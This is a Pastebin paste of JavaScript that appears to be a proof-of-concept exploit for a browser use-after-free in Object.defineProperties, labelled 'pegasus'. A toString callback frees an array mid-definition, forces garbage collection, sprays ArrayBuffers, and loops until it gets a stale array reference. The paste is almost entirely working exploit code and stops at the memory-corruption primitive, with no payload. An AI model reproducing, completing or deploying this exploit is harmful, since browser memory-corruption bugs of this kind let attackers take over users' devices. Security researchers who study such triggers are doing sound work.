Advertisement
Guest User

Untitled

a guest
Jul 27th, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.76 KB | None | 0 0
  1. trigger_gc_maybe = function(){
  2.  
  3. var pressure = new Array(1000);
  4. for (var i = 0; i < pressure.length; i++) {
  5. pressure[i] = new Uint32Array(262144)
  6. }
  7. }
  8.  
  9.  
  10. attempt_pegasus = function(){
  11.  
  12. //var pressure = new Array(100);
  13. var attempts = new Array(4250000);
  14.  
  15. //console.log("attempting now.");
  16. var arr = new Array(2047);
  17. var not_number = {};
  18. not_number.toString = function(){
  19. arr = null;
  20. props["stale"]["value"] = null;
  21.  
  22. //start exerting heap pressure
  23. //console.log("a");
  24. /*
  25. for (var i = 0; i < pressure.length; i++) {
  26. pressure[i] = new Uint32Array(262144);
  27. }
  28. */
  29. //console.log("b");
  30. trigger_gc_maybe();
  31. var buffer = new ArrayBuffer(80);
  32. var uintArray = new Uint32Array(buffer);
  33. uintArray[0] = 0xFFFFFFFF;
  34. //console.log("c");
  35. /*
  36. for (i = 0; i < attempts.length; i++){
  37. attempts[i] = new Uint32Array(buffer);
  38. }
  39. */
  40. //console.log("d");
  41. return 10;
  42. };
  43.  
  44. var props = {
  45. p0 : {value : 0},
  46. p1 : {value : 1},
  47. p2 : {value : 2},
  48. p3 : {value : 3},
  49. p4 : {value : 4},
  50. p5 : {value : 5},
  51. p6 : {value : 6},
  52. p7 : {value : 7},
  53. p8 : {value : 8},
  54. length : {value : not_number},
  55. stale : {value : arr},
  56. after : {value : 666}
  57. };
  58.  
  59.  
  60.  
  61. var before_len = arr.length;
  62. var target = [];
  63. //console.log("f");
  64. Object.defineProperties(target, props);
  65. //console.log("e");
  66. var stale = target.stale;
  67. var after_len = stale.length;
  68. if(before_len == after_len) {
  69. //console.log("didn't work. Try Again.");
  70. return null;
  71. } else {
  72. //console.log("ayyy lmao you did it man");
  73. return stale;
  74. }
  75. }
  76.  
  77. loop_pegasus = function(){
  78. var attempt = null;
  79. while(attempt == null){
  80. attempt = attempt_pegasus();
  81. trigger_gc_maybe();
  82. }
  83. console.log("success");
  84. //return attempt;
  85. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement